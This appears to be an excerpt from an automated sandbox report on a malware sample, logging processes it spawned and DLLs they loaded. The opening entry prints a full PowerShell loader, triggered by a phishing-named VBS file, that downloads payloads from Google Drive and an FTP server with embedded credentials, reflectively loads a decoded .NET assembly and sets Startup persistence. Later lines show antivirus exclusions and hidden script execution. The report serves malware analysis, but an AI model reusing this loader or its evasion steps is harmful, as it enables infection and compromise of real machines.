                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $JwrAL = $host.Version.Major.Equals(2) ;if ( $JwrAL ) {$uVHrT = [System.IO.Path]::GetTempPath();del ( $uVHrT + '\Upwin.msu' );$FaqoI = 'https://drive.google.com/uc?export=download&id=';$jwEmr = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $jwEmr ) {$FaqoI = ($FaqoI + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$FaqoI = ($FaqoI + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$nqpmf = (New-Object Net.WebClient);$nqpmf.Encoding = [System.Text.Encoding]::UTF8;$nqpmf.DownloadFile($URLKB, $uVHrT + '\Upwin.msu');$MYnKZ = ('C:\Users\' + [Environment]::UserName );RiWcG = ($uVHrT + '\Upwin.msu'); powershell.exe wusa.exe RiWcG /quiet /norestart ; Copy-Item 'C:\Users\user\Desktop\Urgent Purchase Order (P.O.) No.477764107102024.vbs' -Destination ( $MYnKZ + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$lBCzSg;$zbxkl = (New-Object Net.WebClient);$zbxkl.Encoding = [System.Text.Encoding]::UTF8;$zbxkl.Credentials = new-object System.Net.NetworkCredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),'developerpro21578Jp@@');$lBCzSg = $zbxkl.DownloadString( 'ftp://desckvbrat1@ftp.desckvbrat.com.br/Upcrypter/01/DLL01.txt' );$zbxkl.dispose();$zbxkl = (New-Object Net.WebClient);$zbxkl.Encoding = [System.Text.Encoding]::UTF8;$lBCzSg = $zbxkl.DownloadString( $lBCzSg );$huUPX = 'C:\Users\user\Desktop\Urgent Purchase Order (P.O.) No.477764107102024.vbs';[Byte[]] $acBcZ = [System.Convert]::FromBase64String( $lBCzSg.Replace( '?:?' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $acBcZ ).GetType('ClassLibrary3.Class1').GetMethod( 'prFVI' ).Invoke( $null , [object[]] ( 'txt.revres/segami/or.cuicrelotsanomis//:sptth' , $huUPX , 'D D1D' ) );};"Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $S = 'C:\Windows\System32\WindowsPowerShell\v1.0' ; Add-MpPreference -ExclusionPath $S -force ;Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $S = 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe' ; Add-MpPreference -ExclusionPath $S -force ;Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\cmd.exe cmd.exe /c mkdir "C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\"Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -file "C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\\x2.ps1"Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\mdwpy.ps1"Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\cmd.exe cmd.exe /c del "C:\Users\user\Desktop\Urgent Purchase Order (P.O.) No.477764107102024.vbs"Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"Jump to behavior
                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\mdwpy.ps1' ";exit
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\mdwpy.ps1' ";exit
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
                      Source: C:\Windows\System32\wscript.exeSection loaded: version.dllJump to behavior
                      Source: C:\Windows\System32\wscript.exeSection loaded: kernel.appcore.dllJump to behavior
                      Source: C:\Windows\System32\wscript.exeSection loaded: uxtheme.dllJump to behavior
                      Source: C:\Windows\System32\wscript.exeSection loaded: sxs.dllJump to behavior
                      Source: C:\Windows\System32\wscript.exeSection loaded: vbscript.dllJump to behavior
                      Source: C:\Windows\System32\wscript.exeSection loaded: amsi.dllJump to behavior
                      Source: C:\Windows\System32\wscript.exeSection loaded: userenv.dllJump to behavior
                      Source: C:\Windows\System32\wscript.exeSection loaded: profapi.dllJump to behavior
                      Source: C:\Windows\System32\wscript.exeSection loaded: wldp.dllJump to behavior
                      Source: C:\Windows\System32\wscript.exeSection loaded: msasn1.dllJump to behavior
                      Source: C:\Windows\System32\wscript.exeSection loaded: cryptsp.dllJump to behavior
                      Source: C:\Windows\System32\wscript.exeSection loaded: rsaenh.dllJump to behavior
                      Source: C:\Windows\System32\wscript.exeSection loaded: cryptbase.dllJump to behavior
                      Source: C:\Windows\System32\wscript.exeSection loaded: msisip.dllJump to behavior
                      Source: C:\Windows\System32\wscript.exeSection loaded: wshext.dllJump to behavior
                      Source: C:\Windows\System32\wscript.exeSection loaded: scrobj.dllJump to behavior
                      Source: C:\Windows\System32\wscript.exeSection loaded: mlang.dllJump to behavior
                      Source: C:\Windows\System32\wscript.exeSection loaded: mpr.dllJump to behavior
                      Source: C:\Windows\System32\wscript.exeSection loaded: scrrun.dllJump to behavior
                      Source: C:\Windows\System32\wscript.exeSection loaded: windows.storage.dllJump to behavior
                      Source: C:\Windows\System32\wscript.exeSection loaded: propsys.dllJump to behavior
                      Source: C:\Windows\System32\wscript.exeSection loaded: edputil.dllJump to behavior
                      Source: C:\Windows\System32\wscript.exeSection loaded: urlmon.dllJump to behavior
                      Source: C:\Windows\System32\wscript.exeSection loaded: iertutil.dllJump to behavior
                      Source: C:\Windows\System32\wscript.exeSection loaded: srvcli.dllJump to behavior
                      Source: C:\Windows\System32\wscript.exeSection loaded: netutils.dllJump to behavior
                      Source: C:\Windows\System32\wscript.exeSection loaded: windows.staterepositoryps.dllJump to behavior
                      Source: C:\Windows\System32\wscript.exeSection loaded: sspicli.dllJump to behavior
                      Source: C:\Windows\System32\wscript.exeSection loaded: wintypes.dllJump to behavior
                      Source: C:\Windows\System32\wscript.exeSection loaded: appresolver.dllJump to behavior
                      Source: C:\Windows\System32\wscript.exeSection loaded: bcp47langs.dllJump to behavior
                      Source: C:\Windows\System32\wscript.exeSection loaded: slc.dllJump to behavior
                      Source: C:\Windows\System32\wscript.exeSection loaded: sppc.dllJump to behavior
                      Source: C:\Windows\System32\wscript.exeSection loaded: onecorecommonproxystub.dllJump to behavior
                      Source: C:\Windows\System32\wscript.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: fwpuclnt.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: schannel.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mskeyprotect.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntasn1.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncrypt.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncryptsslp.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
                      Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: fastprox.dllJump to behavior
                      Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: ncobjapi.dllJump to behavior
                      Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: wbemcomn.dllJump to behavior
                      Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: wbemcomn.dllJump to behavior
                      Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: kernel.appcore.dllJump to behavior
                      Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: mpclient.dllJump to behavior
                      Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: userenv.dllJump to behavior
                      Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: version.dllJump to behavior
                      Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: msasn1.dllJump to behavior
                      Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: wmitomi.dllJump to behavior
                      Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: mi.dllJump to behavior
                      Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: miutils.dllJump to behavior
                      Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: miutils.dllJump to behavior
                      Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: windows.storage.dllJump to behavior
                      Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: wldp.dllJump to behavior
                      Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: profapi.dllJump to behavior
                      Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: sspicli.dllJump to behavior
                      Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: gpapi.dllJump to behavior
                      Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: comsvcs.dllJump to behavior
                      Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: cryptsp.dllJump to behavior
                      Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: rsaenh.dllJump to behavior
                      Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: cryptbase.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appresolver.dllJump to behavior
